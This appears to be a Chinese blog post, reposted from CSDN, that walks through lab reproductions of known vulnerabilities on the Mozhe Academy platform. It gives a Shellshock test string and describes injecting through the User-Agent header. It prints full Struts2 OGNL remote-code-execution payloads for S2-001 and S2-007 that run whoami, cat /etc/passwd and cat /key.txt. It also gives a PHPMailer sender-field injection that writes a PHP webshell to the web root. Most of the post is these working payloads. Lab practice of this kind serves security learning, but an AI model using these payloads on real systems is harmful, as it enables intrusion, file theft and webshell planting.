墨者学院中的一些漏洞复现

Bash漏洞分析溯源
bash漏洞本质上是一个任意代码执行漏洞,是存在于linux命令行下的一种输出漏洞

env x='() { :;}; echo vulnerable' bash -c "echo this is a test

若存在该漏洞,正常情况下会输出(版本号小于bash 4.3的linux或者unix系统上执行以上命令)

vulnerable
this is a test

这里只是做个了解吧,利用的话感觉不太可能碰到,因为现在的bash版本早就更新了
在这里插入图片描述
这是我在本地的测试

在这里插入图片描述
基于bash的cgi网页应用存在于Apache服务器的cgi-bin目录下(利用这个漏洞首先要找到路径)

在这里插入图片描述
关于curl命令 https://man.linuxde.net/curl
简单来说,就是一种执行在命令行下的文件传输工具,这里的-A表示设置用户代理发送给服务器
远程主机使用bash解释器创建一个环境变量并给他赋值为() { :; }; echo -e “\r\n”;/bin/cat …/…/…/key.txt
由于存在漏洞,在赋值的过程中,顺便执行了命令
在这里插入图片描述

查看目录与查看文件都是以/bin/ls(cat)形式执行的

Apache Struts2远程代码执行漏洞(S2-001)复现

1、漏洞原理

在默认配置下,如果用户所提交的表单出现验证错误,后端会对用户的输入进行解析处理,然后返回并显示处理结果。 举个例子,当你提交的登录表单为username=xishir&password=%{1+1}时,后端验证登录失败后会返回登录界面并显示你的输入,这时password字段中的OGNL表达式已经被解析处理过了,所以会显示%{1+1}的解析结果2,从而可以构造payload进行RCE。

2、POC

获取tomcat执行路径:
%{“tomcatBinDir{”[email protected]@getProperty(“user.dir”)+"}"}
获取Web路径:
%{
#[email protected]@getRequest(),
#response=#context.get(“com.opensymphony.xwork2.dispatcher.HttpServletResponse”).getWriter(),
#response.println(#req.getRealPath(’/’)),
#response.flush(),
#response.close()
}
执行任意命令:
%{
#a=(new java.lang.ProcessBuilder(new java.lang.String[]{“whoami”})).redirectErrorStream(true).start(),
#b=#a.getInputStream(),
#c=new java.io.InputStreamReader(#b),
#d=new java.io.BufferedReader(#c),
#e=new char[50000],
#d.read(#e),
#f=#context.get(“com.opensymphony.xwork2.dispatcher.HttpServletResponse”),
#f.getWriter().println(new java.lang.String(#e)),
#f.getWriter().flush(),#f.getWriter().close()
}
执行任意命令时,如果所执行的命令需要组合,则将上述 payload 改为:
%{
#a=(new java.lang.ProcessBuilder(new java.lang.String[]{“cat”,"/etc/passwd"})).redirectErrorStream(true).start(),
#b=#a.getInputStream(),
#c=new java.io.InputStreamReader(#b),
#d=new java.io.BufferedReader(#c),
#e=new char[50000],
#d.read(#e),
#f=#context.get(“com.opensymphony.xwork2.dispatcher.HttpServletResponse”),
#f.getWriter().println(new java.lang.String(#e)),
#f.getWriter().flush(),#f.getWriter().close()
}

%{ #a=(new java.lang.ProcessBuilder(new java.lang.String[]{"ls","/"})).redirectErrorStream(true).start(), #b=#a.getInputStream(), #c=new java.io.InputStreamReader(#b), #d=new java.io.BufferedReader(#c), #e=new char[50000], #d.read(#e), #f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"), #f.getWriter().println(new java.lang.String(#e)), #f.getWriter().flush(),#f.getWriter().close() }

执行以下代码

在这里插入图片描述
得到key.txt

在这里插入图片描述

Apache Struts2远程代码执行漏洞(S2-004)复现
存在目录遍历漏洞
在这里插入图片描述
就是一个简单的目录遍历,%252f就是/的二次url编码
在这里插入图片描述

Apache Struts2远程代码执行漏洞(S2-007)复现

漏洞原理: 当提交表单中变量的类型出现错误时,进行了错误的字符串拼接,后端会执行OGNL表达式
首先寻找存在错误字符串拼接的地方

在这里插入图片描述
直接利用

' + (#_memberAccess["allowStaticMethodAccess"]=true,#foo=new java.lang.Boolean("false") ,#context["xwork.MethodAccessor.denyMethodExecution"]=#foo,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('ls /').getInputStream())) + '

在这里插入图片描述
看到key.txt

' + (#_memberAccess["allowStaticMethodAccess"]=true,#foo=new java.lang.Boolean("false") ,#context["xwork.MethodAccessor.denyMethodExecution"]=#foo,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('cat /key.txt').getInputStream())) + '

在这里插入图片描述

Apache Struts2远程代码执行漏洞(S2-016)复现
在这里插入图片描述
直接工具利用,很奇怪,题目明明是s2-016,检测出来是045,046,结果之恩那个利用046
在这里插入图片描述

Apache Struts2远程代码执行漏洞(S2-015)复现
和16一样
在这里插入图片描述

PHPMailer远程命令执行漏洞溯源
关于mail函数漏洞
https://cloud.tencent.com/developer/article/1437546

 "XXX". -OQueueDirectory=/tmp/. -X/var/www/html/X.php @ XXX.com 

在这里插入图片描述
直接用菜刀连
在这里插入图片描述

发布了32 篇原创文章 · 获赞 0 · 访问量 1362

猜你喜欢

转载自blog.csdn.net/weixin_43940853/article/details/100852016
今日推荐